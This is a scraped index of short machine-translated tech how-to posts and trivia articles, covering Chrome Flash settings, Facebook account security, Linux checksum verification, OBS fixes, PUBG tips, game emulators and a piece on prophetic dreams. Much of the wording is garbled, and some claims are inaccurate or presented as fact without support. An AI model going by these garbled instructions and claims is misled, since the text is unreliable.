!!!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2dqrmiwMRmmGabn6K9tsDEq2ScmaOevG6y125vaWWmo8Vuu81mrqKmlKTEtHmWcWhp\n","link":"/post/how-to-emulate-a-computer-casio-fx-580-vnx-on-windows-7-8-10/","section":"post","tags":null,"title":"How to emulate a computer CASIO FX-580 VNX on Windows 7/8/10"},{"body":"Flash Player is a plugin that helps you play games, watch videos on the browser smoothly. When you play Flash games on the web or visit websites with flash content but the error is missing Flash Player even though your computer has Flash Player fully installed, it is likely that your Chrome browser does not have Flash Player enabled. . So how to enable Flash Player on Chrome browser invite you to follow the following tutorial of TipsMake.com.\nStep 1 : Open up Chrome then copy the following link in the address bar and press Enter\nchrome: // settings / content\n  Step 2 : A new window will appear, scroll down and select Flash\n  Step 3 : In the new window you turn on Ask first mode by pressing the switch to green.\nTo turn off Flash you put the gray button.\n  So when you play flash games, the site will ask you to click to enable Flash Player\n  When you click on it, a message will appear asking if you want to enable Flash or not, click Allow .\n  In addition, you can also add a list of sites that allow Flash enabled and a list of blocking websites from enabling Flash by clicking the ADD button in the corresponding section:\n  Then you type the website link and click Add is done\n  So with just a few simple steps, we can enable and disable Flash Player on Chrome browser. Currently most websites have switched to using HTML 5 to support web game play and movement on the website, but there are still a few websites using Flash Player, so turning Flash off is a thing to know when you meet those sites. Thank you for watching this article, wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYydoKyZkqGybrLLmqqhZaChrrqx0Wamp2WXpLyouMRmmqGqn6Ky\n","link":"/post/how-to-enable-disable-flash-player-on-google-chrome/","section":"post","tags":null,"title":"How to enable, disable Flash Player on Google Chrome"},{"body":"Facebook always gives users a range of solutions to protect their accounts. But not everyone knows and effectively uses those solutions. How to know if your Facebook account has been hacked?\nThere is a simple way to check. You go to the icon with 3 dashes in the right corner (on mobile devices) or the triangle triangle (on the PC). To the Settings \u0026nbsp;\u0026gt;\u0026nbsp; Account Settings\u0026nbsp; \u0026gt;\u0026nbsp; Security \u0026nbsp;\u0026gt;\u0026nbsp; Where you are logged in .\nA list of all the devices that you are logged into and their locations will be listed here.\nIf you have an unusual login address, you're most likely attacked. If you see anything other than you, click the\u0026nbsp; x \u0026nbsp;or End activity to end that login now.\nA few signs that you have been hacked: Your name, date of birth, email or password have been changed. Someone has sent a friend request to people you don't know. A messenger message has been sent from your account, but you compose it. Posts appear on the timeline you didn't post. What to do when your account is hacked?    After finishing the unknown logins in the previous step, immediately change your password. Next, thanks to the help of Facebook. Facebook has a system to help you if you are hacked.\nVisit Facebook's help page, click \u0026nbsp;I think my account has been hacked \u0026nbsp;then click\u0026nbsp; Account security . Facebook will take you to a new page, showing you the steps to protect your account.\nHow to protect your account yourself? Facebook has a lot of security features, you just need to enable them. You enter the icon with 3 dashes in the right corner or the triangle triangle. Go to Settings \u0026nbsp;\u0026gt;\u0026nbsp; Privacy . Turn on\u0026nbsp; Alert Logs so you get notifications when your account is logged in. This helps you detect unauthorized logins early. Helps to prevent early damage.\nNext select the\u0026nbsp; Approval login \u0026nbsp;and activate\u0026nbsp; X evil really two factors. Then select options for consideration and approval as Messaging ,\u0026nbsp; NFC Security Key ,\u0026nbsp; creator code ,\u0026nbsp; recovery code .\n\u0026nbsp;Go to the\u0026nbsp; App password \u0026nbsp;and there is a unique password generator for the application instead of using the Facebook password.\nClick on\u0026nbsp; your Trusted Contacts and add close friends or family members. Those are the people who can help you unlock your account if it's hacked. With this step, Facebook account will be more difficult when hackers want to penetrate and more easily recover.\nYour last job is to reset the password of numbers, letters and special characters to add a final layer of security.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCVob1uxc6uqWaekZiyo7vOpGSam5Okwq%2FAjKCcrWWinrFuu8Vmn5qbm5q%2FtA%3D%3D\n","link":"/post/how-to-help-your-facebook-account-get-rid-of-hackers/","section":"post","tags":null,"title":"How to help your facebook account get rid of hackers"},{"body":"The default characteristics of the Taskbar in Windows 10 are probably still enough to make the majority of users happy. However, did you know that you can completely transform the Taskbar to be much more beautiful with colors from translucent to transparent with application icons in the middle? To do that trick, please refer to the following article.\n  Prepare In Windows 10 settings, there are options that allow you to dim the Taskbar. However, the blur achieved is very low, hard to recognize. In the same way, the ability to change the icon position of running applications is not automatic - understandably, if you want to put them in the middle of the Taskbar, you can only fix them in one location. which you feel is in the middle, and when there are new icons appear, the result is the row of icons will be skewed, no longer in the middle of the Taskbar. You will easily see that in the example below:\n  Therefore, in this tutorial I do not use the setup capabilities of Windows 10, but instead will use a small application called FalconX .\nTo download, you do the following:\n- Access to the link: Download FalconX .\n- Then click on Download ZIP .\n  When the download is complete, unzip the ZIP file and run FalconXSettings.exe .\n  Put the application icon in the middle of the Taskbar In the FalconX Settings window , go to Position . Here the value of Primary offset position is to adjust the position of the icon sequence on the Taskbar. To set this value to 0, the icon sequence will be centered. In addition, you can move left or right with a distance of your choice (in pixels).\nClick Save to save the settings.\n  Make transparent the Taskbar Switch to the Styling section . Here you tick the box Enable taskbar styling and then select Transparent to make the Taskbar completely transparent (or if you want to be a bit dim then choose Blur ). Click Save to save.\n  And this is the result:\n  You see, the Taskbar now has a whole new style in a much nicer way!\nHowever, for this effect to \"automatically\" start with Windows - ie, every time you turn on your computer, the Taskbar remains the same - you need to do a little more manipulation.\nBoot the above settings with Windows Go to the Extra section , check the box Run at startup and click on Save to save. And from now on, FalconX will \"boot\" automatically when you log into Windows.\n  A great and indispensable application if you are someone who wants to follow new styles! However, for those who only own a low-profile computer, you will probably wonder if such a background application will consume a lot of resources. Let's open Task Manager and check it.\n  You can see, FalconX only occupies about 2.5 MB of memory and almost does not consume any CPU or Disk resources. So you can be assured then!\nThrough the above article, I showed you how to put the application icon between the Taskbar and make the Taskbar transparent on Windows 10. Note that only Windows 10 has the ability to customize like that, but The old version will not work. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqilqXq1tMRmoJynnmKvpsDWnpynZaSdsm7AwKyim5miYq6vsIymmKSdXam1pnnTmqqkmpGnerW%2BwKeqqZmimru1ec6nZLChnpm8uL%2BMamc%3D\n","link":"/post/how-to-put-the-icon-between-the-taskbar-and-make-the-taskbar-transparent-on-windows-10/","section":"post","tags":null,"title":"How to put the icon between the Taskbar and make the Taskbar transparent on Windows 10"},{"body":"The Split View feature on the iPad allows you to run two applications in parallel on the screen when the iPad is horizontal. Split screen is a great feature when performing multi-tasking, but some users do not like this feature. So this article will guide you how to turn off the feature to split screen on iPad.\nHow to split screen on iPad How to disable the split screen feature on the iPad Step 1 . Access the Settings application.\nStep 2 . Go to General and select Multitasking \u0026amp; Dock .\nStep 3 . Disable Allow Multiple Apps option to disable the split screen feature.\n  Step 4 . Exit the Settings application as usual and this change will take effect immediately.\nWhen the Allow Multiple Apps option is turned off, the feature to split the screen and the applications used in this mode will not work anymore. However, there is one exception to that on Safari. It is still enabled even if you turn off the option because this feature on Safari is separate from other multitasking settings.\nOne thing to note is that when disabling the feature to split the screen by turning off Multiple Apps settings, you also turn off Slide Over on the iPad because this feature is part of multitasking.\nIf you decide to turn on the screen split feature again, simply turn on the Allow Multiple App option to reactivate Split View and Slide Over.\nI wish you all success!\nSee more:\nHow to split the screen on the iPhone phone How to open multitasking multitasking mode on Android phones How to split the screen on Google Chrome ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWLAsbjIrWSsm6Kasq95xZ6Yra2imnqwuoytn55lmaWupQ%3D%3D\n","link":"/post/how-to-turn-off-the-split-screen-feature-on-the-ipad/","section":"post","tags":null,"title":"How to turn off the split screen feature on the iPad"},{"body":"To turn off WiFi network, the traditional way we will log into the modem management page of the network being used, and from there change the settings such as changing the WiFi password or turn off the WiFi network in use. However, this method does not work for everyone, or users who want to control WiFi network remotely faster than families with young children can install the application to control WiFi, turn off WiFi network remotely on phone. Viettel and FPT's networks have two applications, My Viettel or Hi FPT, which support us to remotely turn off WiFi. The following article will guide you to read off WiFi remotely.\n1. How to turn off WiFi Viettel remotely on My Viettel Download the My Viettel Android application Download the My Viettel iOS app Step 1:\nWe will log in to My Viettel with the phone number in the Internet contract signed with the network operator. Please log in at Internet / TV / PSTN section. Then we will see a list of packages used, including Internet packages with the name FTTH . Click on the package and select OTP Authentication to authenticate your account.\n  Step 2:\nAfter authentication, you see information about Internet packages being used, click on Manage WiFi modem .\n  Step 3:\nSwitch to the new interface, click on the WiFi Information group. Next, just click Turn off WiFi is done. Immediately WiFi network will be disconnected.\nNote when turning off WiFi remotely like this but the Internet modem is still working and devices on the LAN can still connect to the Internet normally.\n  2. Turn off remote FTP network with Hi FPT Download the Hi FPT Android app Download the Hi FPT iOS app Step 1:\nWe also access Hi FPT application by phone number in FPT contract. Next we see all the services being used by phone number. Click on Internet account and then activate the service . Next, click Modem to adjust.\n  Step 2:\nSwitch to modem management interface, we turn off WiFi by pressing the button Turn off WiFi is done.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZLChlp56r7HTsKaro12rtqbA056jZp6gqXqzscyoq56kqQ%3D%3D\n","link":"/post/how-to-turn-off-wifi-network-viettel-fpt-remotely/","section":"post","tags":null,"title":"How to turn off WiFi network Viettel, FPT remotely"},{"body":"Dark Mode is an additional mode used to display most dark surfaces on the user interface. This design reduces the light emitted from the device screen, while maintaining the minimum color contrast ratio required for reading.\nMicrosoft Teams includes the Dark Mode option, if you want to use applications with this palette. Here's how to turn on dark mode on Microsoft Teams.\nWhy activate Dark Mode on Microsoft Teams? Although, on Windows 10, many applications have the ability to match the color palette of the system, but when Dark Mode is enabled, the Microsoft Teams tool does not automatically switch palettes.\nTo solve this problem, you need to manually enable Dark Mode on Microsoft Teams using the application's settings.\nIn this tutorial, TipsMake will guide you through the steps to switch from light to dark themes on Microsoft Teams in Windows 10.\nHow to turn on Dark Mode on Microsoft Teams To turn on dark background on Microsoft Teams, follow these steps:\n1. Open Microsoft Teams.\n2. Click your account icon to open the main menu.\n3. Select the Settings option .\nSelect the Settings option\n Select the Settings option 4. Click General.\n5. In the Theme section, select the Dark option .\n In the Theme section, select the Dark option When you complete the steps, Microsoft Teams will turn dark. On the same page, you can also choose the High contrast option, if you need to use that color scheme.\nThis tutorial was written on Windows 10, but you can do the same to switch to a light or dark theme on Microsoft Teams in other platforms, including macOS and Linux.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mm5qqm2K6sLDEZqanZZ2esLO70qidrWWkmq6uvw%3D%3D\n","link":"/post/how-to-turn-on-dark-mode-on-microsoft-teams/","section":"post","tags":null,"title":"How to turn on Dark Mode on Microsoft Teams"},{"body":" When your HTC One X becomes bricked, you may experience force-close errors, freezing issues, and problems with powering your device off and on. If you've managed to brick your HTC One X, you can unbrick your device by either performing a...\nMethod 1of 2:\nPerforming a Hard Reset Verify that your HTC One X is fully charged. A full charge will help ensure that your device will not power down at any point during the reset process and cause further complications.\n Back up all personal data, if possible. A hard reset will wipe and erase all data from the memory of your device. Sync your personal information with Google's servers, or connect your HTC One X to your computer using a USB cable so you can transfer personal data to your computer.  Tap on 'Settings,' then tap on 'Power.' If you are unable to access the menu on your device due to software problems associated with bricking, skip ahead to step #5.  Remove the checkmark next to 'Fast Boot.'\n Power off your device.\n Press and hold the Volume Down key, then press and hold the Power button.\n Continue pressing both keys until the device powers on.\n Release the Power button. The Bootloader options menu will display on-screen.\n Use the volume keys to navigate to and highlight 'Factory Reset.'\n Press the Power button to make your selection. Your HTC One X will reset, restore the original factory settings, and will be un-bricked.[1]\n Method 2of 2:\nReversing New Updates Power off your device.\n Press and hold the Volume Down key, then press and hold the Power button.\n Continue pressing both keys until the device powers on.\n Release the Power button. The Bootloader options menu will display on-screen.\n Use the volume keys to navigate to and highlight 'Recovery Mode.'\n Press the Power button to make your selection. Your HTC One X will boot into recovery mode.[2]\n Use the volume keys to highlight 'wipe data factory reset,' then press the Power button.\n Navigate to and highlight 'wipe cache partition,' then press the Power button.\n Press the back button, then select 'advanced.'\n Scroll to and select 'wipe dalvick cache.'\n Press the back button until you return to the recovery mode menu.\n Scroll to and select 'reboot system now.' Your HTC One X will reboot, and any recent updates you applied to your device will now be removed.[3]\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2el7%2Bqr8pmq6GdXZ3BpHnOp5xmsA%3D%3D\n","link":"/post/how-to-unbrick-the-htc-one-x/","section":"post","tags":null,"title":"How to Unbrick the HTC One X"},{"body":"Checksum is a software-derived text string using a hash function. No two checksums are the same. When downloading software from the Internet, one way to verify software integrity is to compare the software's checksum with the checksum provided by the website. If the results match, the software is genuine and has not been tampered with.\nWhile this can be easily done in Terminal, you'll learn here how GtkHash graphical engine checksum can be checked and verified incredibly simple.\n1. Install GtkHash For most Linux distributions, you can find GtkHash in the package manager or Software Center. If you are using Ubuntu or a compatible distro and installed from Terminal, you can install GtkHash with:\nsudo apt install gtkhash As for openSUSE, you will have to add its repository prior to installation.\nOn Arch and Manjaro:\nsudo pacman -S gtkhash Once installed, find this app among installed apps and run it.\n2. Generate hashes GtkHash's interface is quite simple. To calculate hashes for one or more files, click the Add button at the top left.\n  Point to the location of the files and select them. You can select multiple files by holding down the Ctrl key while clicking on them. Then, click the Open button at the top right to complete the command.\n  You can select as many files as you like\nThe list of GtkHash will be populated with the files you have selected. If you want, you can add more files by repeating the previous step.\nClick the Hash button at the bottom right of the GtkHash window to compute the hash for all files in the list.\nGtkHash calculates many types of hashes by default and displays them in the columns next to each file.\nTo copy the file's hash to the clipboard, right-click on the file and choose your preferred hash type from the Copy Digest submenu . Then, paste the copied hash somewhere for future reference.\n  Alternatively, you can save the hash to a file via File\u0026gt; Save As .\n3. Check hash To check the file's data integrity with GtkHash, choose File\u0026gt; Open and choose the hash file that comes with the main file. The hash file will usually have the extension sha1, md5 or sfv and GtkHash supports all the popular extensions.\nOnce the file is loaded, click the Hash button in the lower right. GtkHash will compute and compare the file's hash with the reported hash and show you the result. As you can see in the screenshot, there are 2 matches and 2 no matches.\n  4. More hashing types GtkHash comes with the most common hashing algorithms enabled, but they are not the only ones it supports. For more, go to Edit\u0026gt; Preferences .\nYou can choose from over two dozen different hashes, of which you will probably find the one you like.\n5. Compare the checksum from the Terminal If you are in a server environment, the only way to compare the checksum is through Terminal. Fortunately, checking and generating hash files on Terminal is just as easy as using the GUI. Most distributions come with a set of tools for this purpose. Some of the most popular options are:\nmd5sum shasum sha256sum sha384sum sha512sum The uses are simple because they work the same way: You enter their name, then the name of the file for which you want to calculate the hash. For example, to compute the SHA-512 hash for the downloaded Arch Linux installation ISO, the example uses:\nsha512sum archlinux-2020.05.01-x86_64.iso Above, sha512sum is the command for the hash algorithm used. After a while of waiting, the SHA-512 hash appeared on the screen.\nIn the future, you may want to check your files again, so export the results to a file instead of the screen. Hash commands do not provide such functionality as it is only redirected in Linux. By using the \u0026gt; icon after the command and file name, the output of the command will be saved in the file instead of being output to the screen. You can also use sha256sum:\nsha256sum archlinux-2020.05.01-x86_64.iso \u0026gt; archlinux-2020.05.01-x86_64.iso.sha256 This will output the output to a typical text file that you can test. Inside, you will see the file's hash followed by the file name.\n  Checking file versus hash only requires you to add switch -c to the command and use the file hash instead of the real file. In other words something like this:\nsha256sum -c archlinux-2020.05.01-x86_64.iso.sha256 Although verifying the checksum in Linux is easy, it is impractical to check the hash for each file. That's what you should do for sensitive data or Linux ISOs that you have downloaded from the web.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6Vp7anxYytn55lk52ypLfSrqRmoZ5iuaq61LE%3D\n","link":"/post/how-to-verify-the-checksum-in-linux/","section":"post","tags":null,"title":"How to verify the checksum in Linux"},{"body":"At normal temperature, the sound has a transmission speed of 340m / s, while the bullet leaving the gun has a speed of 2 times faster than the sound, 900m / s. If you look at these numbers, the bullets are definitely faster than the sound, but in reality this is not really true.\nIf struck by lightning when flying, is the bullet affected? Rounded his eyes watching the bullet shatter when shot at the glass of \"Dutch tears\" Why is the sandbag blocking the flying bullet?   Watch the race between the bullet and the sound to see which one is faster.\nIn the course of flying bullets, its speed is reduced by the resistance of the air, while the speed of sound in the air changes very little on a road that is not too long.\n Flight path of the supersonic bullet.\nAt the first stage, 600 meters after the bullet left the barrel, its average flying speed dropped to about 450m / s. At this point, the bullet still flew faster than the sound and temporarily took the lead. With this short distance, if you are shot you will be hit before you hear the explosion.\nIn the second stage, from 600 to 900 meters, the speed of the bullet is greatly reduced by air resistance. At this stage, the sound has caught up with the bullet and almost both reach the destination together.\n  At the last stage, from 900 meters onwards, the bullet's flight speed becomes slower. At this point, the sound will pass the bullet, rising to the top of the race. When the 1,200m flight was reached, the 'dead' bullet could no longer fly, while the sound continued to run far ahead. With such a long distance, if shot, you will hear an explosion before being hit.\nAfter the race, the bullet only won the first short 900m race track, but if the race was longer, it would definitely have to cede the championship to the sound.\nncG1vNJzZmismaXArq3KnmWcp51ktqd50qGmrWWUnrFuxc6uZKGdkad6tbTEZp2iqqOpeqbEz6WmrKGfo3qwvoyhoK1lpJ2ybrzRnq2ip6WoeqPBy6WcrQ%3D%3D\n","link":"/post/if-shot-did-you-hear-the-first-explosion-or-hit-the-previous-bullet/","section":"post","tags":null,"title":"If shot, did you hear the first explosion or hit the previous bullet?"},{"body":"Survival gun battles like PUBG or Rules of Survival always bring players exciting battles. And of course the ultimate goal is to become the last player to survive and can be Top 1. However, to win every match in PUBG is not easy, let alone Top.\nWhile playing PUBG there will be mistakes that gamers make, lose you immediately, or never make it to the Top 1. What are the mistakes in PUBG?\nInstructions on how to use voice chat in PUBG Mobile game Tips to become the last survivor in PlayerUnknown's Battlegrounds game Loot locations in PUBG Mobile Mistakes thought in the game PUBG 1. Choose a crowded parachute place?\nMany gamers choose a place to parachute to find large areas, with the idea of ​​finding lots of items to loot. But if you are a person with good skills, good shooting skills, then you should choose such positions. And if it is a mid-range shooter, not too excellent, the optimal solution is to choose places where there are no people.\nIn fact, the large and crowded places will have lots of things to loot, but the number of enemies surrounding it is not much. With one hand shooting pistol is not sure can destroy all that enemy, let alone those who just practice.\nIt is best to parachute in places where there are no people , choose the location of the remote loot of 'hot' areas like Pochinki, Pecado, . The first goal when landing is to protect your life and then calculate The math goes to loot somewhere else.\n  2. When should the loot be laid down?\nThis habit is pretty much done by many gamers, not exactly inaccurate but should only be applied when loot furniture in the room. With deserted, empty places outside the fields, the roof should not lie down. When lying down while loot furniture is difficult to handle situations.\nIt takes 0.5 s to get up and run away. And in that 0.5s, are you sure you won't be hit by an enemy?\nThe advice here is that when loot items should stand , or squat is the last choice. Move continuously by spaming AWSD, making it harder for enemies to aim.\n  3. Only use 2-wheel or 3-wheeled vehicles?\n2-wheeled cars always get the fastest speed when moving in bo, but not so you ignore the 4-wheel option. In case there is no safe place to hide when the enemy shoots, 4-wheel vehicle is the right choice. If you play team mode, the 4-wheel drive will be even better, when you can carry 3 more teammates.\n  4. Jump off the car before the car stops?\nYou feel lost when waiting for the car to stop before getting out of the car, so jump out of the car before the car stops. This is a very dangerous habit.\nWait for the car to stop and jump out of the car. In case of early jumping, with a 4-wheeled vehicle, jump at a speed of less than 30km / h. Thus the player will not lose blood. Be careful to use the spacebar to stop faster.\n5. Will you lose blood outside of bo?\nBasically everyone knows that standing outside of your body will lose blood, but this only happens when more than half of the player's body is outside the bo. This means that when lying down, from the waist down the legs are outside the bo, but the upper body is still in the bo, it will not lose blood.\nGamers can take advantage of the bottom, crawl to reduce the opponent's judgment because the blue ring will cover half of you. Alternatively, smoke bombs can be used to cover a part of the body.\n  6. Must the accessory be in place to successfully loot?\nThere is no need to be so complicated when loot. If only that item went through the barrier between the outside and the contents of the inventory, it was already loot successfully. So you will save a lot of time.\n7. Going slowly but still making sounds?\nWhen you sit down and use the Ctrl key to slow down, the moving sound is still heard and the enemy can still hear that sound? If there's only a moving sound like that, the enemy won't see you. If you sit down and move slowly, your opponent won't see you, your footsteps won't be revealed.\nUse this trick with indoor situations, when you suspect an enemy lurks, and easily attack them.\n  See more:\nList of the best Android apps and games on Google Play store since the beginning of the year TOP best survival game on PC and download link Summary of 10 good offline games for PC and download link ncG1vNJzZmismaXArq3KnmWcp51kuqq%2F05qinqtdnrtuvNSbnmalkaCybsXOrmSspJmlerW7z2Zo\n","link":"/post/mistakes-in-pubg-make-you-slip-top-1/","section":"post","tags":null,"title":"Mistakes in PUBG make you 'slip' Top 1"},{"body":"Predicting his own death, what seemed unreasonable happened to many people, including some famous cases that predicted death for themselves while living as American President Abraham Lincoln, Roman emperor Caligula, .\nAbraham Lincoln   President Lincoln had a dream about his death just days before he was assassinated in April 1865. In his dream he went to the East Room in the White House and saw a corpse guarded by soldiers, everyone around him was very sad. The president asked a soldier who was in the coffin. He answered that the president was dead. He approached the coffin and realized that the person inside was himself.\nPresident Lincoln's dream of death became a reality a week later. The president was assassinated and his coffin was placed at the East Room, and guarded by guards.\nCaligula   Caligula was the third emperor of the Roman Empire from 37 to 41. The emperor was famous for being brutal in killing innocent people. In addition, the emperor also had a perverse way of life and was thought to have an incestuous relationship with his sisters.\nEmperor Caligula had a dream that was supposed to be a bad omen of his destiny . He dreamed of himself appearing on Jupiter and being brought back to Earth by the gods of the Greek gods. That emperor's prophetic dream came true. After 3 years and 11 months of reigning the country Caligula was assassinated by Casius Chaerea - who was abused by Caligula in front of the court for his weakness.\nCarl Jung   Carl Jung is a famous Swiss psychoanalyst. Besides, Calr Jung is also known by many people in the world as a prophet with dreams to predict the startling future .\nIn 1914, Carl Jung dreamed that the whole ocean turned red with blood, there were many bodies floating in golden waves. Then he saw the whole country frozen by a cold wave. Everyone died.\nAccording to Carl Jung, this is a sign of war . After that, he had many other dreams about floods that stretched from the Alps to the north sea. According to him, it was terrible battlefields in the war that soldiers would have to go through.\nShortly thereafter, his prophetic dream came true. In August 1914, World War 1 broke out.\nCarl Jung's last dream is said to be an omen of his main. Before he died, he dreamed that he could communicate with his followers and see a rock with the content engraved on it .\nncG1vNJzZmismaXArq3KnmWcp51kurq%2F056poqelqHqxvs6pn56smZh6pb7EmqSsZZGXvLbAjK2fnmWUmq61tIyonWablaGyo77IraCeqw%3D%3D\n","link":"/post/mysterious-prophetic-dreams-about-the-death-of-celebrities/","section":"post","tags":null,"title":"Mysterious prophetic dreams about the death of celebrities"},{"body":"In previous versions of Windows, you could arrange icons inside folders freely. However, this option has been removed from Windows 7 and all other versions that appear after Windows 7.\nIf you miss this feature, there is a way to disable automatic arrangement in folders on Windows 10.\nHow to turn off the automatic sorting feature in File Explorer To turn off the automatic sorting feature in File Explorer, do the following:\n1. Open any folder with File Explorer and right-click on free space.\n2. Go to View and ensure that the Auto arrange option is unchecked.\n3. If this option is disabled, you can easily arrange items in any way you want.\nUse the Sort by option There is still another method for organizing files and folders in File Explorer. There is an option called 'Sort by' , which allows you to sort your files and folders depending on different criteria, including file size, modification date, name, etc.\nOf course, you can also choose to sort your files in alphabetical or reverse alphabetical order.\nAll operations are completed! Hopefully this article helped you disable the automatic sorting feature within a successful directory. If you have any questions, feel free to leave your comments in the comment section below!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamp2Wfm7NurdStppqqopa7qLGMoqVmnp%2Bhsaa%2B0magp2Wnnrulu9asZGpo\n","link":"/post/turn-on-off-auto-arrange-in-folders-in-windows-10/","section":"post","tags":null,"title":"Turn on / off auto-arrange in folders in Windows 10"},{"body":"Currently, the software supports direct video recording and playback on the popular social networks, the most famous ones are Open Broadcaster Software (OBS) . The program supports users can record videos on social networks like Youtube, Facebook, Twitch TV. However, during the process of using and broadcasting live stream, OBS sometimes is unstable and generates some errors such as no sound, especially the black screen error is very common. So how to fix black screen error while live stream using OBS software? In the following article, we will introduce you how to fix black screen error of recording video directly on OBS.\nDownload Open Broadcaster Software Download OBS Studio for free Method 1: Run OBS in compatibility mode Step 1: First of all, we right-click on the OBS icon on the screen and select Properties .\n  Step 2: Next in the OBS Studio Properties interface, the user selects the Compatibility tab . Then, we need to check the Run this program in compatibily mode for and select the Windows 7 operating system in the drop down menu.\nFinally, check the Run this program as an administrator option and click OK to save this new setting.\n  Method 2: Activate OpenGL mode Step 1: We open the OBS interface on the computer, then click Settings .\n  Step 2: In this new window, we click on the Advanced item in the list to the left of the interface. Look to the right in the Video section, the default render will be DirectX or Direct3D 11. We will change to OpenGL and then click OK below to save.\n  Method 3: Fix bug for NVIDIA video card This method applies exclusively to NVIDIA video card devices. To better understand step by step the black screen error with the computer using the NVIDIA card, you should follow it in the article How to fix a black screen error when live streaming on Facebook using Open Broadcaster.\n  Above are 3 ways to fix black screen error when recording live Facebook video on computer screen using OBS tool. Try the above ways one by one to fix the black screen error on OBS. Particularly for the third way only for NVIDIA card computers.\nRefer to the following articles:\nHow to live stream Facebook using the software XSplit Broadcaster Fix blocking pop-ups when Stream Live Facebook videos on PC How to install the Open Broadcaster screen recording software ncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWWnsVursuamqRlo5i%2FprHNZpyrqp%2BnwG7Dx56lZqSZq7Juv9OrnJqlXaS7brvBrA%3D%3D\n","link":"/post/ways-to-fix-black-screen-errors-when-live-stream-on-obs/","section":"post","tags":null,"title":"Ways to fix black screen errors when live stream on OBS"},{"body":"Most of our childhood is often associated with at least one game like Super Mario, Tetris, Pacman, etc. . and sometimes we want to remember that childhood, but it's hard to find the games. Play this. An alternative is to play games with emulator software right on your PC. There are a lot of game emulator software to simulate the gaming machine in the past.\nIn this article, we will take a look at 10 emulator software to help you recreate your childhood games. Before going into specific game emulation software, you need to keep in mind that although these software are legitimate, you cannot download image ROMs (game copies in the form of software) from the Internet. The emulator software is used to play the games you own and you have to create your own ROM images.\n1. RetroArch Available on: Windows, Mac OS X, Linux, mobile devices\nRetroArch is an all-in-one emulator that runs most games from a console. It supports Playstation 1 game emulator and Game Boy Advance games, as well as older games.\n  RetroArch is based on cores, with each core emulating a console, ie GBA will have its own core as well as NES. This means that when creating new emulators, you can turn them into cores to run on RetroArch. In fact, you can also run it on different modern consoles.\nDownload : RetroArch\n2. OpenEmu Available on: Mac OS X\nOpenEmu is partly based on RetroArch but for the purpose of providing the same experience on a Mac. It includes a library view of games similar to iTunes, which helps you organize your games scientifically. Although based on RetroArch, this software does not simulate many console game consoles like RetroArch but there is a test version that can do it but not be stable.\n  If there's a Mac and lots of video games, try OpenEmu. With this emulator, you can manage the collection with a nice interface, because OpenEmu can name the game and download automatic art boxes online.\nDownload : OpenEmu\n3. Dolphin Available on: Windows, Mac OS X, Linux\nDolphin is a GameCube / Wii emulator software and is currently the only emulator that can simulate the 7th generation console (PS3 / Xbox 360 / Wii) and imitate it quite well, due to the party components. in the same with GameCube. This emulator software is highly compatible so you don't need to worry that your favorite games can't run on Dolphin.\n  This emulator software also allows you to run GameCube games on the widescreen HD, even if the game does not support this feature. It is constantly evolving, and recently its latest ability can touch Nintendo's Wi-Fi connection, so you can expect continuous improvements and updates from Dolphin.\nDownload : Dolphin\n4. PCSX2 Available on: Windows, Linux\nThere's no denying that Playstation 2 is one of the best-selling console games today and with PCSX2 you will be able to play a large number of games. However, the disadvantage of this emulator software is that it requires a fairly powerful computer due to the internal structure of PS2, but if there is a quality enough computer, you can run most of the games available. Available on this platform.\n  PCSX2 is based on a plug-in system and with the right configuration, you can upgrade your games to HD quality. Note, it has a Mac version but is not updated.\nDownload : PCSX2\n5. PPSSPP Available on: Windows, Mac OS X, Linux, mobile devices\nPPSSPP stands for Playstation Portable Simulator Suitable For Playing Portably, is a fairly new emulation software, designed for the purpose of running PSP games. It is co-created by Dolphin's developers and like Dolphin, the PPSSPP setting is very easy and can play a large number of PSP games.\n  You can even transfer PSP games saved to this emulator and keep playing. PPSSPP is still in the process of developing new features and offering continuous patching bugs.\nDownload : PPSSPP\n6. DeSmuME Available on: Windows, Mac OS X, Linux\nNintendo's dual screen gaming machine can be re-displayed on your computer with DeSmuME, in full screen mode. You use the mouse as a stylus for touch input. It even supports games that require you to play on the device's horizontal screen.\n  DeSmuME is being developed continuously with new features and improved old features to be able to run more smoothly. This emulator software has been on the market for a while, so it can run most games without problems. Note, this emulator has a version for Linux but must compile itself.\nDownload : DeSmuME\n7. DOSBox Available on: Windows, Mac OS X, Linux\nDOSBox primarily creates an environment for running MS-DOS software. If there are some old DOS games that can't run on modern PC, you can try using DOSBox. It will simulate the game exactly at the original speed.\n  In fact, game companies use this emulator to repack their old DOS games so they can be played on modern computers. It can completely run on Windows 9x and DOS operating systems on DOSBox if desired.\nDownload : DOSBox\n8. ScummVM Available on: Windows, Mac OS X, Linux, various systems\nIf you're a fan of click and point adventure games, you'll love ScummVM. This emulator software is designed to run games using SCUMM scripting language, used in many click and point games by LucasArts and other companies.\n  Therefore it can run games on systems other than the original system intended. So games make Windows run on Mac or Linux. Like DOSBox, game companies use this emulator to repackage their games to run on modern systems.\nDownload : ScummVM\n9. ePSXe Available on: Windows, Linux\nThis software is considered to be the best emulator of 1 Playsation for computers, it allows to run almost all PS1 games perfectly on correctly configured machines. This emulator software uses a plug-in system, so you need to find out the best way to configure it on your computer.\n  Similar to PCSX2, with proper plugins and configurations, and on powerful computers, you can run old PS1 games with great HD mode and high resolution.\nDownload : ePSXe\n10. Mupen64plus Available on: Windows, Mac OS X, Linux\nMupen64plus is an N64 emulator software. The program does not have a GUI, so it needs to download the interface to be easily used, with developers providing links to a number of suggested sites. Similar to many software simulating N64 gaming machine generations, Mupen64plus uses a plug-in system and you should use some plugins to improve performance.\n  Download : Mupen64plus\nSee more:\n10 best Android emulator software for Windows Top 5 software that emulates Xbox One for Windows PC in 2018 5 best command line emulation software for Windows 10 